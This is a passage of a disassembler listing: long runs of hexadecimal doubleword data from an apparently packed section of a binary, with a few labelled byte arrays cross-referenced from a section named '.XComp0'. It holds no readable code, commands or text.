		dd 1823C456h, 40D90FA0h, 0CB01349Eh, 10D6F826h,	9C300652h
		dd 6E30007Ch, 0A20BA940h, 0A0F69FBAh, 70A01890h, 740EF8B1h
		dd 0DC563526h, 29535007h, 5802AED0h, 50BC9440h,	0C449E9F1h
		dd 84FC0228h, 6E3D60E2h, 122F0068h, 0E18EC7C0h,	0AD00019Eh
		dd 6B6A4D13h, 1338143Dh, 0BC9396BCh, 1E1C431Fh,	0B8C0A37Ch
		dd 51FA12DFh, 3AF900E0h, 0EE1F235Ch, 0E8FAD41Dh, 0A212F7ECh
		dd 8704757h, 990DD7h, 0CC2BE80Bh, 98346426h, 0CCC9E524h
		dd 0AB1FA01h, 78A4FBD9h, 0E6986024h, 731C4B27h,	9AC28F5Dh
		dd 0E26568DBh, 7801C04h, 1675DDD4h, 0B9F4A336h,	593060AFh
		dd 7403252Eh, 0EA4B2490h, 91D0C883h, 8C064CD1h,	42CC62A0h
		dd 5C0D451Eh, 749054C0h, 17C0E8A4h, 311B0210h, 0FFC15DE0h
		dd 0B285A900h, 0FF2E397h, 967F0073h, 710258B0h,	5300AE68h
		dd 5269293Eh, 793C8h, 59D9F1C6h, 0F7D5266Ah, 97981F7Eh
		dd 0D8432A0Eh, 0E4C0533Ah, 60F075D0h, 558B700Bh, 7700CAC7h
		dd 920C8154h, 3C00FA1h,	7C32F406h, 0AC8071FEh, 210068DDh
		dd 0CCE57FBDh, 0C02D4DB4h, 0B2A57C24h, 0AC00584Eh, 113E773Ch
		dd 529C80Ch, 1DC941EAh,	0FEF20018h, 0E8A8A3AAh,	1039EF30h
		dd 1DC1B143h, 0F525BAh,	3C7812F1h, 70004719h, 5B3707E1h
		dd 1597A80h, 0D69BFA9Eh, 6C31FEh, 1925CA2h, 7C77F282h
		dd 80BDCD65h, 0EA4F855Ch, 0FE33D7h, 0A3C6AAF7h,	0DF5FDAB9h
		dd 9288BD00h, 0EF81ED9Eh, 0DDA80344h, 1C6B69E6h, 0E8D75C80h
		dd 1A91301h, 0B675E904h, 1FC7C3E4h, 9DB89AFDh, 0D930E03h
		dd 1426827h, 0ECAF9E57h, 340125A4h, 0AA3AE429h,	0E0DF764Eh
		dd 0FCCD1B2Ah, 149019Ah, 0F8D4C20Ch, 8209E093h,	41E09600h
		dd 2D8B7891h, 0C51A0086h, 56F06650h, 6D0E8838h,	2FE0A4DDh
		dd 0B2FE0ECh
		dd 0F5F780h, 6830C7CAh,	0A9497E74h, 0D100367Ah,	730A98B7h
		dd 3985D862h, 411D9E58h, 9142AE5h, 219AC533h, 25467100h
		dd 0A7005BE0h, 4B1B1A03h, 35806ACh, 0FCF49AD1h,	20B789FFh
		dd 0BB83B535h, 0F15D9801h, 0A0E7B4B9h, 0E15EAE4h, 951ABDFDh
		dd 0F966D660h, 570AEB75h, 0D0268FEDh, 78E8BC0Ch, 0BF54C3Bh
		dd 56EF1Fh, 8D26102Eh, 59496744h, 0C900030h, 0F7E212B9h
		dd 1D2A1CE1h, 8C3A00A4h, 5875637Dh, 783B9700h, 721CDB2Eh
		dd 8D0A0367h, 2AAC6251h, 83E39EC0h, 82804F00h, 0DF8C4D20h
		dd 0ED5100C4h, 77BFB909h, 0E8009476h, 3885CDAFh, 0C2F239h
		dd 6E54638Bh, 0B3D169DCh, 8D7D9500h, 0F84BEFD0h, 217A05D2h
		dd 45E0C66h, 80CAC354h,	3E6C7FDEh, 6F38F604h, 48806B61h
		dd 243A9249h, 8150038Dh, 0FB8C0884h, 759820BFh,	410C4A24h
		dd 0F5EF7600h, 0EF513C33h, 195800D3h, 7159A693h, 8C01C84Ch
		dd 0CBEF7EB3h, 9FD08B0Eh, 9BCE38A5h, 607A9900h,	0DCFF0175h
		dd 2625290Eh, 6AEA20C6h, 52B385h, 469AAEF2h, 2CB60C8Eh
		dd 831EDF0Eh, 950036F3h, 3209A148h, 3836007Eh, 84082324h
		dd 9674654Fh, 5AB2FE00h, 6F0CC434h, 30C30094h, 4BD8C026h
		dd 0C49278E7h, 0CCF1BC01h, 48794D57h, 75C3F040h, 0F4E401F2h
		dd 739B88F5h, 0C5CDD47Bh, 0B0483100h, 92CF96D7h, 0EFFC1589h
		dd 6700BC77h, 46164A9Ah, 8F0FBC14h, 0C05BC379h,	81866FCFh
		dd 0D55200ADh, 1EDD32E3h, 0BD0EFC71h, 0A2615F9Ah, 80B05C9Ch
		dd 45A6DEACh, 0D9E2002Dh, 83197995h, 5C1817EBh,	0B6B0719Dh
		dd 0B5BD0506h, 47CAC685h, 0C66A60B8h, 0D800C144h, 8216B16Fh
		dd 13F2A426h, 0AC29CFh,	47BBC0FCh, 0EF005A9Ah, 37E97C4h
		dd 0FC1FE7Bh, 0ADD66C30h, 0EA106032h, 8530DE92h, 0C10F5847h
		dd 46350E7Eh, 0B0D89CA6h, 7C37F515h, 4DB031EAh,	0B24631h
		dd 22099775h, 890788FBh, 0E65B0C1Fh, 6FD2C280h,	148648A9h
		dd 3875777Eh, 4143F8C7h, 0C0858F3Eh, 1870F7ADh,	3F6BC600h
		dd 88F648B8h, 0D1305B7h, 8CE0B0h, 40103E9Dh, 370A0818h
		dd 84B17A81h, 701A02BDh, 0E0E265FFh, 1303C33Dh,	0E88939h
		dd 64E10C74h, 0C6062306h, 43AC7331h, 0F4D20539h, 809193A7h
		dd 0DEBE231Ch, 954E1500h, 57EA6A21h, 0A63A2425h, 0C3F59E94h
		dd 0A0674B9Bh, 75CC3CF8h, 0BC40DCF2h, 0C23A0E47h, 1078A55Dh
		dd 0EB30F8C8h, 14C5F130h, 22EA3D51h, 0CEF2F82h,	0D4369A0h
		dd 6BB10198h, 0B900E2F0h, 2FAD3A63h, 8C6603h, 0A71FAF37h
		dd 5BF1BE07h, 0D89AF300h, 73FF8871h, 0EA68C0A9h, 319B039h
		dd 8F282A39h, 0E0A27796h, 0F9790859h, 0C1506F12h, 91060906h
		dd 92D1E300h, 31218E64h, 0FD5006Dh, 47B0417Eh, 96090E89h
		dd 0FD1F40h, 4B6B77D4h,	381E1768h, 238703ADh, 74010514h
		dd 92CDD770h, 0C858756Ch, 79D30044h, 1D20887Bh,	4B00F396h
		dd 69D93F89h, 0C68131h,	0BED12C42h, 455D4CFAh, 4D172001h
		dd 74A598FEh, 0EE8FF720h, 62DC3F78h, 58E46600h,	0F3F64B7Ah
		dd 0E0F9AFCh, 93EC4AEFh, 3DF55450h, 2303C5Bh, 0FEA32A6h
		dd 0DFE0801Fh, 6C6633h,	88A50CCCh, 0C8AD4D15h, 0F1B37C01h
		dd 773D6259h, 0DF9E8822h, 2664DEh, 0B9A11365h, 2512E094h
		dd 0C8308668h, 2092DCDDh, 20E342B7h, 7100B550h,	9FB37870h
		dd 30ABDF2Bh, 3031AE6Bh, 7F00C5A2h, 91BD129Bh, 1CC420BBh
		dd 556DEE6Bh, 4C0FA01Dh, 54C7E92Dh, 0FE7F906Ah,	5E2E769Eh
		dd 4E0100C2h, 86DCA5A3h, 0B02ED453h, 13A541Ah, 0A64A457Ch
		dd 8016C1A0h, 78F7F370h, 32603D2h, 0AC2D695Eh, 0E2B1A068h
		dd 5D9C40BEh, 0CC014811h, 0E90C1680h, 4C209CBCh, 0D44201F8h
		dd 39AE49Dh, 7467ED77h,	79010708h, 0D9C24DDAh, 0C050AF3Bh
		dd 0F25F86Bh, 70191EECh, 82DE6360h, 6D0458F4h, 83AE761Ch
		dd 0F3CC9CC0h, 0FA60653h, 0F046F5F1h, 4565A40Ch, 3930E8h
		dd 0B8A1DD6Bh, 9351E624h, 2E33ED04h, 0FC801D3Eh, 0A4E06F6h
		dd 0DDDEF160h, 641DFBh,	4A2A1E42h, 8B2E0C15h, 0B50024A5h
		dd 0EB650547h, 3B4501A4h, 8C488AF3h, 41CF7021h,	42CB9907h
		dd 0DBD17491h, 0FACCBC39h, 0F0854DFCh, 96C75700h, 9DE678C4h
		dd 8B608F28h, 0A20034B8h, 8388B33Bh, 36F44E8h, 0B8E5D2ABh
		dd 6AA3060Fh, 36243EB0h, 97097900h, 7DC25A91h, 2C657E4Eh
		dd 9BBC2Bh, 0F41178D6h,	0A03E5D7h, 84494BD4h, 0C060047Eh
		dd 93ACCEC3h, 0AECB7F08h, 0D16A5181h, 0E4D46439h, 840BE608h
		dd 5FF701C2h, 0D8659502h, 0E072035h, 841EC1D3h,	82547BB0h
		dd 48B603B8h, 9D50CA3Eh, 5BC9E3A0h, 0FDB91B04h,	0A8DC7BA2h
		dd 0A084130Ch, 76807130h, 707834E5h, 0F97CF800h, 66AD225Ch
		dd 0F1AB389Dh, 6AB23F70h, 0BCE1658Fh, 40A091EAh, 0DE4A902Ah
		dd 33DD9500h, 251D960Fh, 8C7600F5h, 1A5DD11Fh, 0C266580h
		dd 49422CCFh, 608498C2h, 0E8E44C7Ch, 0BE509600h, 0C14BE745h
		dd 0DA5C7D09h, 81BC456Dh, 1E5EF714h, 0C864656Eh, 0B80468FCh
		dd 0D3D98EB5h, 5525CC90h, 0B10E092Fh, 8F00DCC1h, 36B9B44Ch
		dd 0E449F25h, 0A4050028h, 169515h, 0C2CC7442h, 295A72AAh
		dd 4F215009h, 5B3C018Eh, 243462ADh, 1D278FAh, 241DDCB9h
		dd 745556E0h, 5018E400h, 0A681C6C2h, 48E80136h,	9F81E0C0h
		dd 182CE809h, 0D88DD400h, 6E9CF879h, 0DF6A09DDh, 8C405BB1h
		dd 7730AC4Ah, 87317985h, 96A72668h, 40802C54h, 297E5AEDh
		dd 4F0055F6h, 886827B1h, 768CE986h, 0EA2C24FEh,	672800F8h
		dd 0B79DE463h, 0A2CDFB12h, 0A5D48C30h, 0D3E100CFh
		db 95h
byte_554345	db 1Eh,	91h, 68h	; DATA XREF: .XComp0:00452FACo
		dd 6F058292h, 60B4740Fh, 8282FC0h, 27CF6B0h, 15956B06h
		dd 0DCA02407h, 0DD4E53B2h, 2D8A448h, 7B5085E9h,	0A46667h
		dd 94C27737h, 6F982A68h, 65E7300Ah, 3978E8D1h, 2812654h
		dd 79840008h, 2E3BE1B9h, 71004CF0h, 0F04FC3EFh,	1DE95321h
		dd 8E1B25AFh, 0AA40D1F6h, 0E20D0349h, 0C550400h, 807323DCh
		dd 137CF046h, 572CA0h, 2E168609h, 0D7C5EDFh, 0F70AB0Fh
		dd 0F495409Eh, 0BB24EAh, 211ABA7Eh, 20060D30h, 0C3390500h
		dd 11411C74h, 0C23C00FCh, 8959BD5Eh, 6400560Fh,	44460B8Ah
		dd 12D62Eh, 78CB2905h, 0C3A9C7EBh, 2F7EFE03h, 0EBD74415h
		dd 525DE847h, 117300DFh, 0AA4C22Dh, 0E73B1AB3h,	47F7004Fh
		dd 0D8A29587h, 705203D1h, 852169FDh, 178CB800h,	6AEF3845h
		dd 0F58A001Bh, 0D28FAB70h, 0D41F0F96h, 0FFCCE384h, 0BA313Fh
		dd 2FB2B8BDh, 0F61F46D1h, 0A70839C0h, 0ECA288h,	0DD6721E1h
		dd 2F875423h, 93706800h, 0A0F74B6h, 91FA1CD3h, 0BF3480EEh
		dd 0AD253A3Bh, 0C3A7FC0Fh, 0AB59830Dh, 5181F0E6h, 0DA54A8B3h
		dd 4D72AEh, 2441C2C7h, 8F18DE17h, 7A655415h, 0EBFA1CB0h
		dd 5CFBC640h, 0F6E971C8h, 0CB9C07DAh, 105FCC64h, 3BB22A4h
		dd 5923A830h, 3CD5F2h, 0B65558B8h, 0D1683F46h, 7509BD03h
		dd 0E0E4A702h, 7DAB961Bh, 3082744Dh, 0B371389Eh, 44008E39h
		dd 2DFDA308h, 54A4D3h, 0A17A5D0Bh, 17939B90h, 0E0136E00h
		dd 51025E0Eh, 1B6D071Eh, 909069BEh, 0E89135CFh,	0CC50C567h
		dd 432DE160h, 78A204ABh, 800D95B0h, 1BC70F24h, 0B28D018h
		dd 0B8835010h, 0C97C00AEh, 0A193D4CAh, 0FB007D43h, 16EF0631h
		dd 0FBA81ABh, 999FEB8h,	6BB03C83h, 58661091h, 0AD7447F4h
		dd 0A1CC1307h, 0E0F101D7h, 0BEEC7F9Fh, 0B89D7B5Fh, 61210C1Eh
		dd 2C68C896h, 2B73C400h, 0B974274Fh, 12220265h,	369A9984h
		dd 2009A2C0h, 902DB624h, 0B43815h, 966988ABh, 7833FBh
		dd 0C7CAA320h, 9DE9E2ECh, 98B18300h, 971EF7F4h,	81230447h
		dd 80C450A8h, 487D99F4h, 0A1DBD0E5h, 197CD406h,	3B49FF4Ah
		dd 0C0C8FAC3h, 469B0800h, 0D5362721h, 6711F600h, 0AFA64502h
		dd 55B387Bh, 35EC8781h,	2086AAE5h, 0A35CC186h, 8CBA241Ah
		dd 0F92D9200h, 0A460D83h, 3BAD78E2h, 0C55600B8h, 30B5BE55h
		dd 0F5BC38h, 0FAA0FCF2h, 45BAA6h, 98827302h, 58E848F9h
		dd 0BC1A8014h, 0F6550F9Ch, 61B860AEh, 0C1B00F2Ch, 6D2776E8h
		dd 0B268C4DAh, 1B492B00h, 50CF3EE9h, 8F8E00B8h,	14784EFBh
		dd 0D7022120h, 0A82FEE35h, 0BD0BC009h, 6E6A003Ch, 326D9FD2h
		dd 0D31FE4B4h, 31C02116h, 0A8FFEDBEh, 11E7A70h,	0D6FE8FD8h
		dd 0F00587E4h, 0F201AA30h, 6BB73F1Ch, 987006BDh, 0D9D2A096h
		dd 44C5028Bh, 9F5DA502h, 0F5007444h, 31A3B6BDh,	1D70319h
		dd 0C034685Ah, 0C0D9150Dh, 0DD00FF6Ch, 0A694DBFCh, 0C5C2FC3h
		dd 381FDF45h, 5F7A26C0h, 89B49C00h, 0AECD98ADh,	1ACA00A2h
		dd 97DEE9F2h, 0AF008DF1h, 0DFD6946Ah, 537356h, 0A2714E4Fh
		dd 0ED724570h, 49D4ECE3h, 630EFA00h, 467F9AB1h,	16E502DEh
		dd 13DF6296h, 6085D661h, 7A58A5C8h, 677413DAh, 7BB0C870h
		dd 31611C20h, 7D470066h, 9FBE655Ah, 0A8BC5D00h,	2684C3ABh
		dd 11BF001Dh, 392B6B62h, 94E85579h, 77FC3A12h, 4AAF9000h
		dd 33180Bh, 0F5549867h,	0D95BB9ABh, 0F78E7C00h,	0B6929E86h
		dd 0A1D736Dh, 0EDA8E329h, 8A0400B4h, 0A4ECC08Eh, 517EA0Bh
		dd 0F6D58F6Eh, 110B914h, 0B31BEF14h, 436A6C9h, 0D83B1101h
		dd 80AC3FA5h, 1DCC80DCh, 5FF93Ah, 0AFD83E9h, 0F7C8E42Ch
		dd 9F8D0301h, 92316C29h, 54B435DCh, 5A02844Ah, 4091F8D2h
		dd 0C1FEF2F0h, 0F39FC801h, 270CD8FFh, 96C75C8h,	0FD663CDBh
		dd 28A38882h, 0C78E0CE0h, 29000498h, 7DB276BFh,	0B8573E20h
		dd 0ACC6009Ch, 916D82A5h, 7B4DFA2Bh, 9054C098h,	1CFE4917h
		dd 0AD52A63h, 1DC8553h,	264DB91Bh, 0EEA8D8B2h, 4A88EA00h
		dd 5EFC54AEh, 0DC0112C9h, 5B660267h, 18686E35h,	95000623h
		dd 0BDAD7B42h, 9D19C2Ch, 2086432Eh, 6F6B3CA0h, 0EE12D556h
		dd 1C400B99h, 0BA629864h, 98B7608Ah, 610CAF5Bh,	41E8D9C0h
		dd 0F0C8D2BDh, 3F3A07E5h, 907457CAh, 0F0B56553h, 0D9DE3C00h
		dd 5EEB1CFFh, 707BF1h, 5D289F68h, 336C609Eh, 8C5339h, 0D177738Eh
		dd 45F486h, 0E254DE26h,	3612577Ah, 99D99F0Fh, 9D8C00D8h
		dd 0FA30D26Bh, 15E1002Ch, 3572250Ch, 5F00A063h,	46FBCBB8h
		dd 43D7C2h, 211F5AA4h, 0E07DEA93h, 0A0BF98C7h, 60A65E62h
		dd 136FE7D6h, 40395DA3h, 0EAB1FF38h, 3C1E1822h,	724BA286h
		dd 0D4041067h, 6ADF1342h, 9D680053h, 0CE0E5C7Fh, 0D9E00F70h
		dd 0E5EA4A0Ah, 3F8490B8h, 91C7AB39h, 2705D120h,	66DC1F85h
		dd 0FCEF40FAh, 0A2937930h, 8B7AC377h, 0F33A8A01h, 0AA88AD09h
		dd 0C0028052h, 2CC91500h, 0FE9047h, 0CC1C813Bh,	800088BFh
		dd 0FC8C1E04h, 0B8DB539Ch, 3D3506D8h, 0B87410A2h, 2B03A098h
		dd 0B9F77ACCh, 6C88611Ch, 0C0793E6Fh, 9A01317Fh, 176B99F2h
		dd 0FC506550h, 0ECB038F3h, 0F93C0297h, 0BF15A775h, 0DE9F6468h
		dd 10B27700h, 1ABC3620h, 34252CF6h, 0A0C55AE0h,	908000BDh
		dd 0DB8AC768h, 1D6B040h, 1D2BF062h, 0E8F5EE61h,	9B00BDCFh
		dd 5C6CB264h, 0A66555h,	0D6628E9Ch, 0AEE64D9Dh,	31079204h
		dd 0D4905140h, 24E147DEh, 0E0A4809Eh, 0AAADE30Ah, 1EA21400h
		dd 0C69B4F35h, 3BC400DDh, 0BFC1A933h, 55002D60h, 0A2459D90h
		dd 3B8E5132h, 16002509h, 7634EEF3h, 0E8007907h,	643D5ACBh
		dd 0EEAC7h, 9059F9D9h, 579E437Ah, 0E62E7C00h, 2FD55EECh
		dd 6D8001A5h, 878D6C48h, 0C2DBDFEEh, 0C47C2EF9h, 9412AC07h
		dd 9A0013F2h, 0B4C1930Dh, 8FE800FDh, 0C831E24Eh, 0CC264C36h
		dd 3E002FFAh, 9156D27Ch, 62970009h, 33E7B25Eh, 0B43FFABCh
		dd 87ED80B6h, 138370Bh,	0AC39032Fh, 0B8AE0D61h,	3D158BD8h
		dd 68FF2B00h, 9ECB58Dh,	87E253h, 2D16226Ah, 0A25B7E18h
		dd 0BB3DDA0Fh, 0B3CBE2B4h, 0A7DD4065h, 40900707h, 0A00BB68Dh
		dd 63D47C1Eh, 0F7D67F1Fh, 5715F386h, 16D9E6B0h,	42FA1Ah
		dd 3C735BD9h, 0E6009517h, 0E24D3EF4h, 58156h, 0C23AD72Fh
		dd 8750CC8Dh, 0C853CD1Eh, 325B8BC1h, 0D3ED647Dh, 7046F8E4h
		dd 0A8771754h, 9CB7000Bh, 7738A5Dh, 38061C00h, 90BC2288h
		dd 15DC0C64h, 0B2488050h, 0A83172Ch, 0ADC7D702h, 8DF0805Fh
		dd 0E3F35Bh, 95E437AFh,	0C763AB36h, 0B94C7500h,	9E04F832h
		dd 0D32A2846h, 0A57F03ECh, 47C2130Fh, 0BD74CEA0h, 9EA1A73Fh
		dd 0F1804338h, 0E5B20751h, 7E150E1Dh, 860CABBh,	0A72501CBh
		dd 54C96100h, 0F89CF0D3h, 0FCA000E0h, 4197B326h, 3E3CAF17h
		dd 286808Eh, 98C76D03h,	14C0CFFh, 0F63863C3h, 58C80607h
		dd 0BAA0AC65h, 0A09F2918h, 8975C4h, 0C6B70F96h,	3FD88422h
		dd 6B41E204h, 0FA81C751h, 0D2F49853h, 1C384863h, 818F971Ch
		dd 3A78B35h, 15AE40A6h,	0FB0E2207h, 20570253h, 0E43E95CEh
		dd 0F682000Bh, 29648D5Ah, 8E7C4DBCh, 6B08880Fh,	85FAC0C9h
		dd 280662h, 230CC29Fh, 3CE7DAA1h, 3B5265Ch, 6EBEFF1Bh
		dd 89ADA805h, 0D90B00EEh, 30087982h, 0BF981274h, 0DDC34E00h
		dd 5BFD5A0Fh, 477D2Ah, 0A552F1ADh, 46B13B17h, 41E60975h
		dd 252F58C0h, 3968E06Eh, 6287EA86h, 80F2F3B8h, 9126B6AFh
		dd 56807300h
		dd 9A1C3B19h, 761D00D5h, 0C0AA500Bh, 25707FFFh,	19ADAB00h
		dd 0E6C2D48h, 618700A7h, 4751A0B6h, 76004ECCh, 6BDE6EE8h
		dd 0E255A9h, 0F7122E40h, 3FC71FF5h, 41040E0Eh, 0F10CC07Bh
		dd 338962Ah, 216305EAh,	0D7C0497Ah, 0D4600209h,	0A0E39EA8h
		dd 0B3B630BAh, 0D59BFF10h, 57A2300h, 6BB7921Ah,	3BB7A4Ah
		dd 96E0213Ah, 7EFB25ACh, 38E874ABh, 0C0E37DADh,	0EC00D797h
		dd 0A85F42A7h, 0EB64C5h, 2DBC7A48h, 0E9633A27h,	1CDCD40Ah
		dd 0A60295E0h, 0A0781942h, 736D0498h, 0D8710006h, 83C49266h
		dd 1300483Ah, 5C812C54h, 0C04ED40Ch, 0EE0DD9F0h, 4D0043C1h
		dd 0D2E96E7Dh, 0ECE4A892h, 77AA00A6h, 0BC190D3Eh, 4D0084EAh
		dd 3F37E940h, 18E407CBh, 395341BFh, 0AF00C0D0h,	21A86C8Ah
		dd 2637D8h, 96368D64h, 5B0FB66Ah, 1FA5DA5Ch, 5795B24Ch
		dd 3E13C0B8h, 0D7C7DEh,	0FFB06CB8h, 0BF420121h,	8036E13Ah
		dd 0B259991h, 4B7B6Fh, 0B0E733B2h, 9C2B864Fh, 1422DA00h
		dd 4E50AC36h, 0C1710788h, 578BF1D8h, 0EA0D903Dh, 2700F828h
		dd 0E09BDD23h, 0ECB8E4h, 38D4642Fh, 0FC45866Bh,	0AEC23E00h
		dd 750A8132h, 2A2400A1h, 102E7F39h, 7403E15Eh, 0BCD18325h
		dd 31678076h, 20C0A922h, 0C98C48h, 1B018E59h, 1F2232C7h
		dd 0BC004872h, 0FD996DBh, 9860715Eh, 747F0074h,	319B69CCh
		dd 7D0ADA4Ah, 0A87C8FA8h, 85233803h, 4300026h, 0E4ED81Fh
		dd 8207A13Fh, 0BEDCF71h, 35368A61h, 0F79C20h, 4AD76447h
		dd 0D0771EEh, 5DB27C00h, 25F4755Ch, 94344818h, 7A652400h
		dd 85AECA9h, 0AE3FACE6h, 0AAD8099h, 1ECCFE23h, 0C45C07DBh
		dd 2068C8D8h, 30225B93h, 823EE53Ch, 3BAAA00Bh, 53789025h
		dd 0FC860443h, 80C1E375h, 760915B9h, 9E2C81EAh,	26024B88h
		dd 4B84B09Ah, 0A3698018h, 48413D03h, 0F694A876h, 8EF00490h
		dd 0C0386E29h, 0E831A95Dh, 1C3D9D00h, 0F3027F6Ch, 208B1F1Bh
		dd 175D3C6h, 52BD3330h,	181C2404h, 0EC23E8C0h, 6176C8FAh
		dd 1F5FF078h, 0B708F879h, 11CE6C00h, 0D87347C3h, 28A000F2h
		dd 0FFA3DE6Dh, 0AA009977h, 0C23DDE4h, 1F405EEBh, 40BFCBAFh
		dd 81AD88BAh, 0DA03CDAEh, 618D1ED6h, 0DBD0012Ah, 97232DEDh
		dd 0C6108E21h, 0D03312AEh, 0A780D4DBh, 3E4806F9h, 2400B1F0h
		dd 30238072h, 87246790h, 7B00D59Eh, 0DD28F0AFh,	7407F1Dh
		dd 0CEBB091Eh, 9726A06Ah, 2B035250h, 88C6F6A8h,	0F5E2F8BEh
		dd 3FD400C4h, 8A9AA2DCh, 894890BAh, 0EAFD006Bh,	0D743100Fh
		dd 3445248Bh, 487A00D6h, 4E21ECAEh, 0FEAD8F05h,	3EC3A504h
		dd 7FC0F080h, 31900F1Ah, 3C0CD02h, 0AA20BC9Ch, 0EBE8FA00h
		dd 7D48A8D6h, 0D09403D9h, 0A57978E2h, 0ACAFD800h, 0E472C93Ch
		dd 80DE5097h
		db 99h
byte_554E45	db 54h,	70h, 0D4h	; DATA XREF: .XComp0:00453114o
					; .XComp0:0045311Co ...
		dd 3DC40BEAh, 0C20165Ch, 6EF93025h, 0F0053404h,	60C2D3B2h
		dd 8DC17D37h, 0CFBDC03Fh, 0BA40A202h, 40F14333h, 0DEB2C8h
		dd 0C48C527Dh, 973D27D2h, 6502C49Bh, 411FAD56h,	0E3E42C28h
		dd 0DDFC247Bh, 0C8648F3Ch, 37DF4F20h, 28155321h, 58C076F1h
		dd 8F8501DDh, 4C18AD6Eh, 0C0529260h, 7B44BC39h,	0C376819Ah
		dd 0F645663Ah, 320F8FF0h, 20EC6069h, 51337017h,	7108149Eh
		dd 0A080C086h, 674CF883h, 0B41E2E00h, 5647316Fh, 9AE20272h
		dd 0BB951FDCh, 20101840h, 781E1500h, 18970C12h,	9A7900D5h
		dd 0E543CAEEh, 950A9407h, 0B89D0D3Ch, 2A533700h, 5E4E38Ch
		dd 13B9509Eh, 0BF008022h, 9998DEECh, 1D4FA400h,	0CBF3FBBDh
		dd 0B4DA5441h, 9D1C0016h, 7CAC3CBFh, 0B501B149h, 58BC08D2h
		dd 9E0EF0Eh, 97C1003Eh,	0DB237F6Bh, 722EE8EBh, 9604AFE3h
		dd 0D340F9h, 7B3CD0AAh,	69830016h, 187427EDh, 4126B0EAh
		dd 0CC0014ADh, 0DD70E908h, 963A2406h, 0B22240D0h, 0FE546EAEh
		dd 0F8001BD8h, 0F63DDD2h, 0A46ABED7h, 4DBB0BC0h, 10A07BCFh
		dd 96337C9Fh, 99FA6400h, 18B21171h, 0D60F0EBFh,	0B6EF3FEh
		dd 66387B03h, 2CD47AC8h, 0A393BA00h, 0F67E8718h, 495D002Fh
		dd 0DCD25F08h, 3D002CEFh, 4261A4B9h, 86F516h, 0F295F991h
		dd 0C0995CEAh, 56D0FA06h, 0CE212D3Ah, 1E607C4Ch, 33555297h
		dd 0FE0072F4h, 45F298B2h, 7129096h, 429A45Fh, 0F034D701h
		dd 0F359B186h, 0FC130807h, 0A2E0DD7Ch, 0DAD4Bh,	3E0F2E64h
		dd 9E85BE1Ah, 25A2100h,	0A02DA34Eh, 592900DDh, 97CDF97Ch
		dd 0C8006111h, 0A3B5B9FAh, 2F8C5E15h, 90C1B29Fh, 7A14C05Ah
		dd 0BA003973h, 0C106802Dh, 1E37B712h, 29D43B7Eh, 0F2D90A84h
		dd 35B34198h, 0CEC5F499h, 2D4E30Fh, 0A0716EB2h,	86C7AD31h
		dd 85630F13h, 242F100Ch, 43C48360h, 38005CDCh, 0E67C7F92h
		dd 0C6D3612h, 67231DA6h, 0F90E13C9h, 40B71164h,	0A80A0CDh
		dd 56460033h, 0C92D5DA5h, 0F9FE47D8h, 2F268800h, 55BCFE9Fh
		dd 0CCA0C080h, 281D519h, 2914C900h, 70430ACDh, 3D8500DBh
		dd 0F96813C2h, 4B000C11h, 0CBC7294Ch, 302890D9h, 0A3809A12h
		dd 0F400C292h, 0A1061FB3h, 29C9D88Bh, 80145855h, 1003EE7Eh
		dd 87024789h, 0D16720C8h, 99CC81CDh, 0C2EE3424h, 258EDFB4h
		dd 5D2E9280h, 26F6BEC2h, 1A01B478h, 0A42AF301h,	8CD8ED97h
		dd 56401BCFh, 25B06088h, 0C56093FAh, 620ED7D8h,	8B50959Ah
		dd 1D8F2700h, 0DBA5C43h, 0DF2300A3h, 0E1EC090Ch, 2A0B67B7h
		dd 8043FC65h, 3278AE6Fh, 0E2FE095Ah, 301277h, 0E301C04Dh
		dd 1696CA88h, 5FD843D2h, 60C53F6Dh, 4C8FB900h, 3E011BA6h
		dd 728B704h, 288022FEh,	5823A748h, 84404344h, 311E0094h
		dd 87EB5A35h, 80EDE880h, 6737C8B8h, 4C7E38h, 0DA22A786h
		dd 3BFD243Fh, 9AC20F00h, 0DDCB5E0Bh, 629802E9h,	529EFEECh
		dd 4D64B840h, 99923400h, 0ACADA6Ch, 31F21668h, 73FA00BDh
		dd 8EC3EB10h, 5A34841Fh, 97756C8h, 0A000271Ch, 0CDBC329Fh
		dd 67005C91h, 5456815Eh, 66E40F21h, 36408F46h, 2382EBB8h
		dd 59799B00h, 96C5974Fh, 72EE0102h, 2CB0CDBFh, 38C6C0B2h
		dd 15903D12h, 0DC734700h, 5C45A2C7h, 8C443B6Bh,	7C2000DFh
		dd 825E0911h, 0EE07BD89h, 1C881845h, 0EF265AA0h, 91340E8Ch
		dd 25E78FE3h, 80EA66E9h, 469E6B19h, 74F8BC49h, 1B50064Ah
		dd 19332ED9h, 18D49A39h, 7311CFE1h, 8F353D2Bh, 18C32DA6h
		dd 0EE251932h, 9271633Ah, 0C04E8DE4h, 2266A020h, 0ED6F74h
		dd 1B6EFBB6h, 0E1770C0Bh, 8F017876h, 5385A921h,	9AD05E08h
		dd 0DAB400B5h, 8A05E623h, 5A0094ABh, 4E9AA9Fh, 4A71F49h
		dd 8C0DF65Dh, 44BA079Ch, 40AC8A32h, 1CF9945h, 649714F7h
		dd 80234908h, 0E22ABC88h, 33517FFh, 6B63BD90h, 14B20DB6h
		dd 3D1EAC40h, 8FBCBE54h, 0E92AEF00h, 46BA3AD2h,	5F720B60h
		dd 8055F141h, 0E0BC56E7h, 0A1610002h, 496E36EEh, 0B930EF82h
		dd 8C990B0h, 6920064h, 4F13E2C5h, 10F3723h, 0D4C87Bh, 1CD27C8Dh
		dd 4D63AAEh, 86BA4100h,	20D3C322h, 8BDDA2Ah, 264DD009h
		dd 3049605h, 71E0E148h,	300051ABh, 15D6C627h, 1F3434Fh
		dd 4EC8802Fh, 27029D50h, 81B102A4h, 6895BBE7h, 18A708D4h
		dd 11B2B473h, 0BD07246Dh, 0C6F09D93h, 937F930h,	0E06500D4h
		dd 0A5875E50h, 0F70363D9h, 0DE354E8h, 8080CFF8h, 3406CFCh
		dd 0B3339E34h, 1581730Fh, 0F224DC2Ah, 0A947B507h, 1DC02625h
		dd 0F86756EEh, 2DDB0060h, 0A07905BBh, 490F06FEh, 835AF3h
		dd 0CE509270h, 8320131h, 4D8BB49Ah
		db 71h
byte_555345	db 0E8h, 90h, 5Ah	; DATA XREF: .XComp0:004532DCo
		dd 72200E03h, 0B8F02E66h, 0B8430608h, 62CB0071h, 0EBE8E60Dh
		dd 0BE001D88h, 83E2700Fh, 7EA53BBh, 937C5173h, 1E5D9004h
		dd 21C03CC1h, 0A94446B8h, 0C86E6FABh, 79D2E3Fh,	0A3D31B31h
		dd 0FCA0B765h, 540AD477h, 6441A814h, 8E5BAC00h,	3C836B5Eh
